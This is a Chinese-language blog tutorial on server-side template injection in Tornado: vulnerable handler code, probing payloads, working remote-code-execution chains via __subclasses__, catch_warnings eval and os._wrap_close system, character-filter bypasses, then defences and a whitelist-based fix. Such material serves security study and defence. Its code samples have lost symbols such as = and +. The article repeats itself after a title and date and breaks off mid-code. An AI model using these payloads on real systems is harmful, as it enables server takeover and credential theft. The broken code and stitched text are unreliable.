1. 项目概述为什么Tornado的SSTI值得深挖最近在复盘一些老项目的安全审计记录发现一个挺有意思的现象不少早期基于Tornado框架开发的Web应用都或多或少存在模板渲染上的安全隐患其中服务端模板注入SSTI尤为典型。很多人觉得Tornado作为一个高性能、轻量级的Python框架其自带的模板引擎相对简单可能“没那么危险”或者认为只要不用eval之类的函数就高枕无忧了。但实际情况恰恰相反正是这种“简单”和开发者对它的“放心”导致了一些隐蔽的注入点被轻易放过。SSTI漏洞的本质是攻击者能够将恶意代码注入到服务端的模板上下文中并最终被模板引擎执行。这不同于SQL注入或XSS它的攻击面直接触及了服务器的应用逻辑层危害等级往往是RCE远程代码执行。在Tornado的场景下由于模板语法本身支持Python表达式一旦用户输入未经严格净化就直接进入了模板渲染流程攻击者就能利用{{ ... }}或{% ... %}等标签执行任意Python代码轻则读取敏感配置、环境变量重则直接获取服务器shell权限。我之所以想把这个话题从头到尾捋清楚是因为发现网上很多关于SSTI的资料要么过于理论化要么就是简单的Payload罗列缺少一个从Tornado框架特性出发、结合真实漏洞场景、并最终落到具体防御代码上的完整指南。这篇文章我就结合自己踩过的坑和修复过的案例带你走一遍Tornado SSTI漏洞的“发现-利用-修复”全流程。无论你是正在维护Tornado老项目的开发者还是对Web安全感兴趣的学习者都能从中获得可以直接上手的实操经验。2. Tornado模板引擎的工作原理与风险入口要理解漏洞必须先理解机制。Tornado的模板引擎并不复杂它的核心流程可以概括为加载模板文件 - 解析模板语法 - 将模板中的变量和表达式替换为实际值 - 输出最终的HTML或其他格式内容。风险就潜伏在“解析”和“替换”这两个环节。2.1 模板渲染的基本流程与关键函数Tornado中我们最常使用的是tornado.template模块的Template类。一个最简单的渲染过程如下import tornado.template template_content “Hello {{ name }}!” template tornado.template.Template(template_content) output template.generate(name“World”) print(output) # 输出: Hello World!这里的关键是generate方法它接受一个命名参数或字典作为模板的命名空间。模板中的{{ name }}会被替换为传入的“World”。然而Tornado模板的强大也是危险之处在于它不仅能做简单的变量替换还能执行表达式。例如template_content “计算结果是: {{ 1 1 }}” template tornado.template.Template(template_content) output template.generate() print(output) # 输出: 计算结果是: 2模板引擎在幕后实际上会编译{{ 1 1 }}这段字符串将其转换为Python的字节码并执行。这就为代码注入打开了第一道门。2.2 高危函数render_string与用户输入拼接在实际项目中更常见的风险点来自于tornado.web.RequestHandler的render_string方法以及开发者对用户输入的不当拼接。危险模式一直接拼接用户输入到模板字符串。class DangerousHandler(tornado.web.RequestHandler): def get(self): user_input self.get_argument(“content”, “”) # 致命错误将用户输入直接拼接到模板结构中 template_content f“h1用户提交的内容是{{{{{user_input}}}}}/h1” html self.render_string(template_content) self.write(html)注意这里为了在模板中输出变量值开发者使用了{{{{ ... }}}}双花括号的转义在实际字符串中可能被错误处理意图是生成类似{{用户输入}}的模板变量。但如果user_input是“7*7”}} {{“最终拼接的字符串可能变成h1用户提交的内容是{{7*7}} {{}}/h1这可能导致模板语法解析错误甚至被利用。更直接的攻击是如果user_input包含}}来提前闭合变量标签并在后面注入新的模板语句风险极高。危险模式二将用户输入作为模板变量名或部分模板路径。class AnotherDangerousHandler(tornado.web.RequestHandler): def get(self): template_name self.get_argument(“tpl”, “default.html”) # 假设通过某种方式动态决定渲染哪个模板片段 # 如果template_name被控制可能指向非预期的模板文件 data {“message”: “Hello”} html self.render_string(template_name, **data) self.write(html)如果攻击者能够控制template_name参数并将其设置为类似“../../etc/passwd”或一个包含恶意模板语法的字符串就可能造成敏感信息泄露或SSTI。2.3 模板的命名空间与内置对象访问Tornado在渲染模板时会向模板的命名空间中注入一些内置对象例如handler: 当前的RequestHandler实例。request: 当前的HTTPServerRequest对象。current_user: 当前登录的用户对象。以及escape,xhtml_escape,url_escape等工具函数。攻击者一旦注入成功目标就是通过模板表达式访问这些对象进而调用危险方法或访问敏感属性。例如通过{{ handler.settings }}可能访问到应用的配置字典其中可能包含数据库密码、API密钥等。注意很多初级开发者会误以为只要对用户输入做HTML转义例如使用tornado.escape.xhtml_escape就能防止SSTI。这是完全错误的。HTML转义只防御XSS跨站脚本攻击它处理的是,,等字符防止其在浏览器端被解析为HTML标签。而SSTI发生在服务端模板渲染阶段在HTML转义之前。恶意模板语法在渲染阶段已被执行生成的“结果”可能已经是无害的文本但攻击代码早已在服务器上运行完毕。这是两种截然不同的攻击层面。3. SSTI漏洞的实战挖掘与利用链构造知道了原理我们来看看在真实黑盒或白盒测试中如何发现和验证一个Tornado应用是否存在SSTI漏洞。整个过程可以归纳为“探测-确认-利用-提权”四个阶段。3.1 漏洞探测点识别与模糊测试首先你需要寻找所有将用户输入传递给模板渲染函数的地方。在白盒审计时重点搜索以下代码模式任何调用tornado.template.Template(...).generate(...)的地方检查其第一个参数模板字符串是否拼接了用户输入。任何调用self.render_string(...)的地方检查第一个参数模板内容或模板文件路径是否可控。检查self.render_template如果有自定义或任何封装了渲染逻辑的函数。在黑盒测试时你需要关注所有可能改变页面内容的参数特别是那些看起来会影响页面布局、文本内容、错误信息格式的参数。例如GET/POST参数如?content...template...format...Cookie值HTTP头部如X-Forwarded-For、User-Agent有时会被记录并显示在管理页面URL路径的一部分在Tornado中可能通过正则捕获组传递给处理器模糊测试Payload一开始可以使用无害的探测Payload观察响应是否发生了异常变化。数字运算{{7*7}}、{{7*’7’}}。如果页面返回了49或7777777而不是原样的字符串那么极可能存在SSTI。字符串连接{{“ab””cd”}}观察是否返回abcd。尝试注入模板语法闭合符}}和{%。如果页面报错如模板解析错误也暗示该处输入被送入了模板引擎。3.2 确认漏洞与信息收集一旦探测到可能存在注入下一步是确认漏洞并收集服务器信息为后续利用做准备。确认漏洞的Payload# 测试基本的表达式执行 {{ 1 1 }} # 期望返回 2 # 测试对象访问 {{ “”.__class__ }} # 返回字符串对象的类信息如 “class ‘str’” # 测试内置命名空间访问 {{ handler }} # 如果返回类似main.IndexHandler object at 0x...则确认 {{ request }} # 查看请求对象如果这些Payload都返回了预期的对象信息而非字符串本身那么SSTI漏洞确认无疑。信息收集Payload 目标是了解服务器环境为执行系统命令铺路。获取Python路径和关键模块{{ “”.__class__.__mro__ }} # 查看类的继承链 {{ “”.__class__.__bases__[0].__subclasses__() }} # 这是一个关键步骤获取所有可用的子类列表执行__subclasses__()会返回一个很长的列表。你需要在这个列表中寻找一些“有用”的类例如os._wrap_close(如果导入了os模块)subprocess.Popenwarnings.catch_warnings(其内部引用__builtins__)site._Printer等。遍历寻找目标类由于返回的是列表你需要知道索引。可以写一个简单的Payload来搜索或者手动在返回的页面中查找查看网页源代码搜索“Popen”、“os”、“file”等关键词。# 假设我们想找‘catch_warnings’可以尝试需根据实际情况调整索引 {{ “”.__class__.__bases__[0].__subclasses__()[200] }} # 不断尝试索引直到找到目标类名为“catch_warnings”3.3 构造利用链实现远程代码执行RCE这是最关键的一步。我们的目标是找到一个可以执行任意Python代码或系统命令的类和方法。这里提供两种在Tornado SSTI中常用的链式构造方法。方法一利用warnings.catch_warnings获取__builtins__warnings.catch_warnings类内部有一个_module属性其中包含了__builtins__字典该字典提供了所有内置函数包括危险的eval和exec。# 1. 首先找到 catch_warnings 类的索引假设是 59 {{ “”.__class__.__bases__[0].__subclasses__()[59] }} # 2. 获取其 _module 中的 __builtins__ {% set builtins “”.__class__.__bases__[0].__subclasses__()[59]._module.__builtins__ %} # 3. 使用 __builtins__[‘eval’] 或 __builtins__[‘exec’] 执行代码 {% set eval builtins[‘eval’] %} {{ eval(“__import__(‘os’).popen(‘whoami’).read()”) }} # 或者更直接的一行命令执行需要知道索引 {{ “”.__class__.__bases__[0].__subclasses__()[59]._module.__builtins__[‘eval’](“__import__(‘os’).popen(‘id’).read()”) }}这条链相对稳定因为warnings是Python标准库几乎总是被加载。方法二直接寻找并调用os._wrap_close或subprocess.Popen如果运气好os或subprocess模块已经被加载那么可以直接找到相关的类来执行命令。# 寻找 os._wrap_close 类假设索引是 132 {{ “”.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[‘system’](‘ls /’) }} # 寻找 subprocess.Popen 类假设索引是 258 {{ “”.__class__.__bases__[0].__subclasses__()[258]([‘ls’, ‘-la’], stdout-1).communicate()[0] }}__init__.__globals__是一个魔法属性它返回函数所在模块的全局命名空间字典。通过它我们可以拿到os模块的system函数。实操心得在实际利用中最大的难点是确定目标类的索引号。不同Python版本、不同运行环境虚拟环境、系统环境、不同导入的模块都会影响这个列表的顺序。因此自动化脚本或者一个交互式的测试环境非常有用。你可以先写一个简单的循环Payload来打印索引和类名但要注意Payload长度可能受限。一个技巧是利用模板的{% for %}循环但很多情况下循环语句可能被过滤或导致错误。更稳妥的方式是将索引探测分成多次请求进行。3.4 利用过程中的常见障碍与绕过技巧字符过滤与黑名单应用可能过滤了空格、点号.、引号、__等关键字符。空格绕过使用、%20、/**/在字符串中不行但在属性访问中有时可用getattr、Tab%09。点号.绕过使用中括号[]和字符串进行属性访问。例如“”.__class__可以写成“”[“__class__”]或getattr(“”, “__class__”)。引号绕过使用chr()函数拼接字符串或利用request对象中的参数。例如eval(“__import__(‘os’)”)可以写成eval(chr(95)chr(95)… )或者从request.arguments中取一个参数值作为命令。双下划线__绕过有时可以用“\x5f\x5f”下划线的十六进制来拼接或者使用getattr(obj, “_” “_class_” “_”)。长度限制如果注入点有输入长度限制需要构造最短的利用链。优先使用方法一catch_warnings因为它通常索引靠前且链式调用相对固定。也可以考虑将长Payload分多次注入利用模板的变量赋值功能{% set … %}将中间结果存储在模板的局部变量中但要注意模板的变量作用域。沙箱与受限执行环境极少数情况下Tornado可能以沙箱模式运行但非默认。此时需要寻找沙箱内的逃逸方法这通常更复杂需要深入了解Python沙箱机制。4. 多层次防御策略从编码习惯到架构设计发现了漏洞更要修复它。防御SSTI是一个系统工程不能只靠某一种银弹而需要在不同层面建立防线。4.1 第一层输入处理与渲染模式规范治本这是最根本的防御即确保用户输入永远不被当作模板语法的一部分进行解析。黄金法则严格区分“数据”与“代码”。对于动态模板内容永远使用模板引擎的变量替换功能而不是字符串拼接。# 错误做法 template_content “Welcome, {{ user }}! Your email is: “ user_email “.” # 正确做法 template_content “Welcome, {{ user }}! Your email is: {{ user_email }}.” data {“user”: username, “user_email”: user_email} output tornado.template.Template(template_content).generate(**data)确保template_content本身是静态的、开发者可控的字符串模板所有动态部分都通过generate方法的参数传入。对于动态模板选择如果需要根据条件渲染不同的模板文件使用白名单机制。ALLOWED_TEMPLATES {“page1”: “templates/page1.html”, “page2”: “templates/page2.html”} template_key self.get_argument(“tpl”, “page1”) template_file ALLOWED_TEMPLATES.get(template_key) if not template_file: raise tornado.web.HTTPError(404, “Template not allowed”) self.render(template_file, datadata)严格避免的危险函数和模式绝对不要使用eval()、exec()、compile()来处理任何包含用户输入的字符串。谨慎使用locals()或globals()作为命名空间传入模板。避免使用{% raw ... %}标签包裹不可信的用户输入除非你完全清楚自己在做什么。4.2 第二层安全的模板开发实践在编写模板时养成安全的习惯。默认转义Tornado模板默认是自动转义HTML的这很好。不要轻易使用{% raw ... %}或{% autoescape None %}。除非你渲染的内容是明确可信的HTML片段如来自可信来源的富文本编辑器内容且经过安全过滤否则保持自动转义开启。自定义过滤器和函数如果需要在模板中执行复杂逻辑应该通过自定义过滤器ui_methods或模块函数来实现而不是在模板中写复杂的Python表达式。# handler中定义 def format_phone(self, number): # 安全的格式化逻辑 return f“{number[:3]}-{number[3:7]}-{number[7:]}” # 注册为UI方法 class MyHandler(tornado.web.RequestHandler): def get(self): self.render(“template.html”, phone“13800138000”) # 在模板中安全使用 {{ handler.format_phone(phone) }}这样逻辑被封装在安全的Python函数中模板只负责调用。4.3 第三层框架配置与安全中间件对于大型项目可以考虑在框架层面增加安全措施。自定义模板加载器继承tornado.template.BaseLoader在加载模板内容前进行安全检查例如检查模板文件是否在允许的目录内内容是否包含可疑的拼接模式。请求预处理中间件在请求进入Handler之前对所有参数进行扫描检测是否包含潜在的模板注入语法如{{,{%,}},%}等。但要注意这可能会产生误报因为用户正常输入也可能包含这些字符。更推荐的做法是将其作为WAFWeb应用防火墙或日志审计的一部分而不是直接拦截请求。使用更严格的模板引擎如果项目允许可以考虑用Jinja2等更成熟、安全特性更多的模板引擎替换Tornado原生引擎。Jinja2有明确的沙箱模式可以限制可访问的对象和函数。但迁移成本需要评估。4.4 第四层安全开发生命周期SDL融入将SSTI防御作为开发流程的一部分。代码审计在代码审查Code Review环节将“用户输入与模板拼接”作为高危模式进行重点检查。可以配置静态代码分析工具如Bandit、Semgrep来扫描代码库中的相关模式。安全测试在自动化测试中加入针对SSTI的漏洞扫描用例。可以使用类似第3章提到的探测Payload对应用的各个接口进行模糊测试。依赖与环境安全保持Tornado框架及其依赖库的更新。虽然SSTI主要是逻辑漏洞但框架本身的更新可能会引入更安全的默认配置或修复其他潜在的安全问题。5. 漏洞修复实战一个真实案例的复盘去年我协助一个团队修复了他们后台管理系统的一个SSTI漏洞过程很有代表性。他们的某个功能允许管理员通过Web界面编辑邮件通知的模板。原始代码如下class EmailTemplateHandler(tornado.web.RequestHandler): def post(self): template_id self.get_argument(“id”) new_content self.get_argument(“content”) # 用户可控的模板内容 # … 从数据库读取旧模板的逻辑省略 … # 危险操作直接将用户提交的内容作为新模板保存和预览 try: preview_html tornado.template.Template(new_content).generate(site_nameconfig.SITE_NAME) self.write({“success”: True, “preview”: preview_html}) except Exception as e: self.write({“success”: False, “error”: str(e)})攻击者可以在content参数中注入{{ handler.settings[‘database_password’] }}预览时就能直接返回数据库密码。我们的修复方案输入校验与净化我们无法完全禁止模板语法因为这就是功能需求。但我们可以进行严格的限制。我们定义了一个安全的模板变量白名单只允许替换有限的、预定义的变量如{{ site_name }},{{ user_name }},{{ date }}等。我们编写了一个简单的解析器使用正则表达式提取所有{{ … }}和{% … %}块然后检查块内的内容是否只包含白名单中的变量名和有限的过滤器如| lower。任何超出范围的语法都直接拒绝。引入安全的模板渲染函数import re import tornado.template ALLOWED_VARS {‘site_name’, ‘user_name’, ‘date’, ‘link’} ALLOWED_FILTERS {‘lower’, ‘upper’, ‘trim’} def safe_render_template(template_str, **context): “”“只允许渲染白名单内的变量和过滤器”“” # 1. 检查所有模板变量块 var_pattern r‘\{\{\s*([^|}])(?:\s*\|\s*([^}]))?\s*\}\}’ for match in re.finditer(var_pattern, template_str): var_part match.group(1).strip() filter_part match.group(2) # 检查变量名 if var_part not in ALLOWED_VARS: raise ValueError(f“Disallowed variable in template: {var_part}”) # 检查过滤器 if filter_part: filters [f.strip() for f in filter_part.split(‘|’)] for f in filters: if f not in ALLOWED_FILTERS: raise ValueError(f“Disallowed filter in template: {f}”) # 2. 禁止控制语句块{% … %}此功能不需要 if re.search(r‘\{%’, template_str): raise ValueError(“Control statements are not allowed in email templates.”) # 3. 使用Tornado模板渲染但传入的context只包含白名单变量或对其做过滤 safe_context {k: v for k, v in context.items() if k in ALLOWED_VARS} return tornado.template.Template(template_str).generate(**safe_context)然后在Handler中调用preview_html safe_render_template(new_content, site_nameconfig.SITE_NAME, user_name“Test User”)增加操作日志与审计任何对邮件模板的修改操作都记录详细的操作日志包括修改人、时间、修改前后的内容摘要便于事后追溯。这个方案平衡了功能需求与安全性。它没有试图去解析和验证所有可能的模板语法那会非常复杂且容易出错而是采取了“最小权限原则”只允许功能必需的那部分语法从根本上杜绝了注入的可能性。6. 防御的延伸思考与高级话题在基础防御之上还有一些更深层次的考虑。关于WAFWeb应用防火墙商用或开源的WAF通常可以配置规则来拦截常见的SSTI攻击Payload例如检测请求参数中是否包含__class__、__subclasses__、os.popen等关键词。这可以作为一道有效的边界防护。但是WAF不能替代安全的代码。攻击者可以通过编码、混淆、拆分等方式绕过静态规则。WAF应该是纵深防御中的一层而不是唯一的一层。静态代码分析SAST的集成如前所述可以将SSTI漏洞模式编写成规则集成到CI/CD流水线中。例如使用Bandit工具并编写自定义规则检测项目中所有对tornado.template.Template的调用检查其第一个参数是否为字符串格式化操作使用%或str.format或f-string且包含了来自请求self.get_argument的变量。这能在代码提交阶段就发现潜在问题。威胁建模与攻击面收敛在项目设计初期就进行威胁建模问自己哪些功能需要动态模板渲染这些功能的用户是谁可信度如何能否用更安全的方式实现比如静态模板AJAX加载数据通过收敛攻击面将动态模板渲染的功能限制在最小、最可控的范围内可以大幅降低风险。最后安全是一个持续的过程。Tornado的SSTI漏洞只是一个具体的例子它背后反映的是一种通用的安全思维永远不要信任用户输入对任何将用户输入作为代码或指令执行的地方保持最高警惕。无论是模板引擎、数据库查询、系统命令调用还是反序列化操作这条原则都适用。定期对代码进行安全审计对团队进行安全培训将安全实践融入开发流程才能构建出真正健壮的应用。
Tornado框架SSTI漏洞：从原理到实战利用与防御
发布时间：2026/7/14 17:25:26
1. 项目概述为什么Tornado的SSTI值得深挖最近在复盘一些老项目的安全审计记录发现一个挺有意思的现象不少早期基于Tornado框架开发的Web应用都或多或少存在模板渲染上的安全隐患其中服务端模板注入SSTI尤为典型。很多人觉得Tornado作为一个高性能、轻量级的Python框架其自带的模板引擎相对简单可能“没那么危险”或者认为只要不用eval之类的函数就高枕无忧了。但实际情况恰恰相反正是这种“简单”和开发者对它的“放心”导致了一些隐蔽的注入点被轻易放过。SSTI漏洞的本质是攻击者能够将恶意代码注入到服务端的模板上下文中并最终被模板引擎执行。这不同于SQL注入或XSS它的攻击面直接触及了服务器的应用逻辑层危害等级往往是RCE远程代码执行。在Tornado的场景下由于模板语法本身支持Python表达式一旦用户输入未经严格净化就直接进入了模板渲染流程攻击者就能利用{{ ... }}或{% ... %}等标签执行任意Python代码轻则读取敏感配置、环境变量重则直接获取服务器shell权限。我之所以想把这个话题从头到尾捋清楚是因为发现网上很多关于SSTI的资料要么过于理论化要么就是简单的Payload罗列缺少一个从Tornado框架特性出发、结合真实漏洞场景、并最终落到具体防御代码上的完整指南。这篇文章我就结合自己踩过的坑和修复过的案例带你走一遍Tornado SSTI漏洞的“发现-利用-修复”全流程。无论你是正在维护Tornado老项目的开发者还是对Web安全感兴趣的学习者都能从中获得可以直接上手的实操经验。2. Tornado模板引擎的工作原理与风险入口要理解漏洞必须先理解机制。Tornado的模板引擎并不复杂它的核心流程可以概括为加载模板文件 - 解析模板语法 - 将模板中的变量和表达式替换为实际值 - 输出最终的HTML或其他格式内容。风险就潜伏在“解析”和“替换”这两个环节。2.1 模板渲染的基本流程与关键函数Tornado中我们最常使用的是tornado.template模块的Template类。一个最简单的渲染过程如下import tornado.template template_content “Hello {{ name }}!” template tornado.template.Template(template_content) output template.generate(name“World”) print(output) # 输出: Hello World!这里的关键是generate方法它接受一个命名参数或字典作为模板的命名空间。模板中的{{ name }}会被替换为传入的“World”。然而Tornado模板的强大也是危险之处在于它不仅能做简单的变量替换还能执行表达式。例如template_content “计算结果是: {{ 1 1 }}” template tornado.template.Template(template_content) output template.generate() print(output) # 输出: 计算结果是: 2模板引擎在幕后实际上会编译{{ 1 1 }}这段字符串将其转换为Python的字节码并执行。这就为代码注入打开了第一道门。2.2 高危函数render_string与用户输入拼接在实际项目中更常见的风险点来自于tornado.web.RequestHandler的render_string方法以及开发者对用户输入的不当拼接。危险模式一直接拼接用户输入到模板字符串。class DangerousHandler(tornado.web.RequestHandler): def get(self): user_input self.get_argument(“content”, “”) # 致命错误将用户输入直接拼接到模板结构中 template_content f“h1用户提交的内容是{{{{{user_input}}}}}/h1” html self.render_string(template_content) self.write(html)注意这里为了在模板中输出变量值开发者使用了{{{{ ... }}}}双花括号的转义在实际字符串中可能被错误处理意图是生成类似{{用户输入}}的模板变量。但如果user_input是“7*7”}} {{“最终拼接的字符串可能变成h1用户提交的内容是{{7*7}} {{}}/h1这可能导致模板语法解析错误甚至被利用。更直接的攻击是如果user_input包含}}来提前闭合变量标签并在后面注入新的模板语句风险极高。危险模式二将用户输入作为模板变量名或部分模板路径。class AnotherDangerousHandler(tornado.web.RequestHandler): def get(self): template_name self.get_argument(“tpl”, “default.html”) # 假设通过某种方式动态决定渲染哪个模板片段 # 如果template_name被控制可能指向非预期的模板文件 data {“message”: “Hello”} html self.render_string(template_name, **data) self.write(html)如果攻击者能够控制template_name参数并将其设置为类似“../../etc/passwd”或一个包含恶意模板语法的字符串就可能造成敏感信息泄露或SSTI。2.3 模板的命名空间与内置对象访问Tornado在渲染模板时会向模板的命名空间中注入一些内置对象例如handler: 当前的RequestHandler实例。request: 当前的HTTPServerRequest对象。current_user: 当前登录的用户对象。以及escape,xhtml_escape,url_escape等工具函数。攻击者一旦注入成功目标就是通过模板表达式访问这些对象进而调用危险方法或访问敏感属性。例如通过{{ handler.settings }}可能访问到应用的配置字典其中可能包含数据库密码、API密钥等。注意很多初级开发者会误以为只要对用户输入做HTML转义例如使用tornado.escape.xhtml_escape就能防止SSTI。这是完全错误的。HTML转义只防御XSS跨站脚本攻击它处理的是,,等字符防止其在浏览器端被解析为HTML标签。而SSTI发生在服务端模板渲染阶段在HTML转义之前。恶意模板语法在渲染阶段已被执行生成的“结果”可能已经是无害的文本但攻击代码早已在服务器上运行完毕。这是两种截然不同的攻击层面。3. SSTI漏洞的实战挖掘与利用链构造知道了原理我们来看看在真实黑盒或白盒测试中如何发现和验证一个Tornado应用是否存在SSTI漏洞。整个过程可以归纳为“探测-确认-利用-提权”四个阶段。3.1 漏洞探测点识别与模糊测试首先你需要寻找所有将用户输入传递给模板渲染函数的地方。在白盒审计时重点搜索以下代码模式任何调用tornado.template.Template(...).generate(...)的地方检查其第一个参数模板字符串是否拼接了用户输入。任何调用self.render_string(...)的地方检查第一个参数模板内容或模板文件路径是否可控。检查self.render_template如果有自定义或任何封装了渲染逻辑的函数。在黑盒测试时你需要关注所有可能改变页面内容的参数特别是那些看起来会影响页面布局、文本内容、错误信息格式的参数。例如GET/POST参数如?content...template...format...Cookie值HTTP头部如X-Forwarded-For、User-Agent有时会被记录并显示在管理页面URL路径的一部分在Tornado中可能通过正则捕获组传递给处理器模糊测试Payload一开始可以使用无害的探测Payload观察响应是否发生了异常变化。数字运算{{7*7}}、{{7*’7’}}。如果页面返回了49或7777777而不是原样的字符串那么极可能存在SSTI。字符串连接{{“ab””cd”}}观察是否返回abcd。尝试注入模板语法闭合符}}和{%。如果页面报错如模板解析错误也暗示该处输入被送入了模板引擎。3.2 确认漏洞与信息收集一旦探测到可能存在注入下一步是确认漏洞并收集服务器信息为后续利用做准备。确认漏洞的Payload# 测试基本的表达式执行 {{ 1 1 }} # 期望返回 2 # 测试对象访问 {{ “”.__class__ }} # 返回字符串对象的类信息如 “class ‘str’” # 测试内置命名空间访问 {{ handler }} # 如果返回类似main.IndexHandler object at 0x...则确认 {{ request }} # 查看请求对象如果这些Payload都返回了预期的对象信息而非字符串本身那么SSTI漏洞确认无疑。信息收集Payload 目标是了解服务器环境为执行系统命令铺路。获取Python路径和关键模块{{ “”.__class__.__mro__ }} # 查看类的继承链 {{ “”.__class__.__bases__[0].__subclasses__() }} # 这是一个关键步骤获取所有可用的子类列表执行__subclasses__()会返回一个很长的列表。你需要在这个列表中寻找一些“有用”的类例如os._wrap_close(如果导入了os模块)subprocess.Popenwarnings.catch_warnings(其内部引用__builtins__)site._Printer等。遍历寻找目标类由于返回的是列表你需要知道索引。可以写一个简单的Payload来搜索或者手动在返回的页面中查找查看网页源代码搜索“Popen”、“os”、“file”等关键词。# 假设我们想找‘catch_warnings’可以尝试需根据实际情况调整索引 {{ “”.__class__.__bases__[0].__subclasses__()[200] }} # 不断尝试索引直到找到目标类名为“catch_warnings”3.3 构造利用链实现远程代码执行RCE这是最关键的一步。我们的目标是找到一个可以执行任意Python代码或系统命令的类和方法。这里提供两种在Tornado SSTI中常用的链式构造方法。方法一利用warnings.catch_warnings获取__builtins__warnings.catch_warnings类内部有一个_module属性其中包含了__builtins__字典该字典提供了所有内置函数包括危险的eval和exec。# 1. 首先找到 catch_warnings 类的索引假设是 59 {{ “”.__class__.__bases__[0].__subclasses__()[59] }} # 2. 获取其 _module 中的 __builtins__ {% set builtins “”.__class__.__bases__[0].__subclasses__()[59]._module.__builtins__ %} # 3. 使用 __builtins__[‘eval’] 或 __builtins__[‘exec’] 执行代码 {% set eval builtins[‘eval’] %} {{ eval(“__import__(‘os’).popen(‘whoami’).read()”) }} # 或者更直接的一行命令执行需要知道索引 {{ “”.__class__.__bases__[0].__subclasses__()[59]._module.__builtins__[‘eval’](“__import__(‘os’).popen(‘id’).read()”) }}这条链相对稳定因为warnings是Python标准库几乎总是被加载。方法二直接寻找并调用os._wrap_close或subprocess.Popen如果运气好os或subprocess模块已经被加载那么可以直接找到相关的类来执行命令。# 寻找 os._wrap_close 类假设索引是 132 {{ “”.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[‘system’](‘ls /’) }} # 寻找 subprocess.Popen 类假设索引是 258 {{ “”.__class__.__bases__[0].__subclasses__()[258]([‘ls’, ‘-la’], stdout-1).communicate()[0] }}__init__.__globals__是一个魔法属性它返回函数所在模块的全局命名空间字典。通过它我们可以拿到os模块的system函数。实操心得在实际利用中最大的难点是确定目标类的索引号。不同Python版本、不同运行环境虚拟环境、系统环境、不同导入的模块都会影响这个列表的顺序。因此自动化脚本或者一个交互式的测试环境非常有用。你可以先写一个简单的循环Payload来打印索引和类名但要注意Payload长度可能受限。一个技巧是利用模板的{% for %}循环但很多情况下循环语句可能被过滤或导致错误。更稳妥的方式是将索引探测分成多次请求进行。3.4 利用过程中的常见障碍与绕过技巧字符过滤与黑名单应用可能过滤了空格、点号.、引号、__等关键字符。空格绕过使用、%20、/**/在字符串中不行但在属性访问中有时可用getattr、Tab%09。点号.绕过使用中括号[]和字符串进行属性访问。例如“”.__class__可以写成“”[“__class__”]或getattr(“”, “__class__”)。引号绕过使用chr()函数拼接字符串或利用request对象中的参数。例如eval(“__import__(‘os’)”)可以写成eval(chr(95)chr(95)… )或者从request.arguments中取一个参数值作为命令。双下划线__绕过有时可以用“\x5f\x5f”下划线的十六进制来拼接或者使用getattr(obj, “_” “_class_” “_”)。长度限制如果注入点有输入长度限制需要构造最短的利用链。优先使用方法一catch_warnings因为它通常索引靠前且链式调用相对固定。也可以考虑将长Payload分多次注入利用模板的变量赋值功能{% set … %}将中间结果存储在模板的局部变量中但要注意模板的变量作用域。沙箱与受限执行环境极少数情况下Tornado可能以沙箱模式运行但非默认。此时需要寻找沙箱内的逃逸方法这通常更复杂需要深入了解Python沙箱机制。4. 多层次防御策略从编码习惯到架构设计发现了漏洞更要修复它。防御SSTI是一个系统工程不能只靠某一种银弹而需要在不同层面建立防线。4.1 第一层输入处理与渲染模式规范治本这是最根本的防御即确保用户输入永远不被当作模板语法的一部分进行解析。黄金法则严格区分“数据”与“代码”。对于动态模板内容永远使用模板引擎的变量替换功能而不是字符串拼接。# 错误做法 template_content “Welcome, {{ user }}! Your email is: “ user_email “.” # 正确做法 template_content “Welcome, {{ user }}! Your email is: {{ user_email }}.” data {“user”: username, “user_email”: user_email} output tornado.template.Template(template_content).generate(**data)确保template_content本身是静态的、开发者可控的字符串模板所有动态部分都通过generate方法的参数传入。对于动态模板选择如果需要根据条件渲染不同的模板文件使用白名单机制。ALLOWED_TEMPLATES {“page1”: “templates/page1.html”, “page2”: “templates/page2.html”} template_key self.get_argument(“tpl”, “page1”) template_file ALLOWED_TEMPLATES.get(template_key) if not template_file: raise tornado.web.HTTPError(404, “Template not allowed”) self.render(template_file, datadata)严格避免的危险函数和模式绝对不要使用eval()、exec()、compile()来处理任何包含用户输入的字符串。谨慎使用locals()或globals()作为命名空间传入模板。避免使用{% raw ... %}标签包裹不可信的用户输入除非你完全清楚自己在做什么。4.2 第二层安全的模板开发实践在编写模板时养成安全的习惯。默认转义Tornado模板默认是自动转义HTML的这很好。不要轻易使用{% raw ... %}或{% autoescape None %}。除非你渲染的内容是明确可信的HTML片段如来自可信来源的富文本编辑器内容且经过安全过滤否则保持自动转义开启。自定义过滤器和函数如果需要在模板中执行复杂逻辑应该通过自定义过滤器ui_methods或模块函数来实现而不是在模板中写复杂的Python表达式。# handler中定义 def format_phone(self, number): # 安全的格式化逻辑 return f“{number[:3]}-{number[3:7]}-{number[7:]}” # 注册为UI方法 class MyHandler(tornado.web.RequestHandler): def get(self): self.render(“template.html”, phone“13800138000”) # 在模板中安全使用 {{ handler.format_phone(phone) }}这样逻辑被封装在安全的Python函数中模板只负责调用。4.3 第三层框架配置与安全中间件对于大型项目可以考虑在框架层面增加安全措施。自定义模板加载器继承tornado.template.BaseLoader在加载模板内容前进行安全检查例如检查模板文件是否在允许的目录内内容是否包含可疑的拼接模式。请求预处理中间件在请求进入Handler之前对所有参数进行扫描检测是否包含潜在的模板注入语法如{{,{%,}},%}等。但要注意这可能会产生误报因为用户正常输入也可能包含这些字符。更推荐的做法是将其作为WAFWeb应用防火墙或日志审计的一部分而不是直接拦截请求。使用更严格的模板引擎如果项目允许可以考虑用Jinja2等更成熟、安全特性更多的模板引擎替换Tornado原生引擎。Jinja2有明确的沙箱模式可以限制可访问的对象和函数。但迁移成本需要评估。4.4 第四层安全开发生命周期SDL融入将SSTI防御作为开发流程的一部分。代码审计在代码审查Code Review环节将“用户输入与模板拼接”作为高危模式进行重点检查。可以配置静态代码分析工具如Bandit、Semgrep来扫描代码库中的相关模式。安全测试在自动化测试中加入针对SSTI的漏洞扫描用例。可以使用类似第3章提到的探测Payload对应用的各个接口进行模糊测试。依赖与环境安全保持Tornado框架及其依赖库的更新。虽然SSTI主要是逻辑漏洞但框架本身的更新可能会引入更安全的默认配置或修复其他潜在的安全问题。5. 漏洞修复实战一个真实案例的复盘去年我协助一个团队修复了他们后台管理系统的一个SSTI漏洞过程很有代表性。他们的某个功能允许管理员通过Web界面编辑邮件通知的模板。原始代码如下class EmailTemplateHandler(tornado.web.RequestHandler): def post(self): template_id self.get_argument(“id”) new_content self.get_argument(“content”) # 用户可控的模板内容 # … 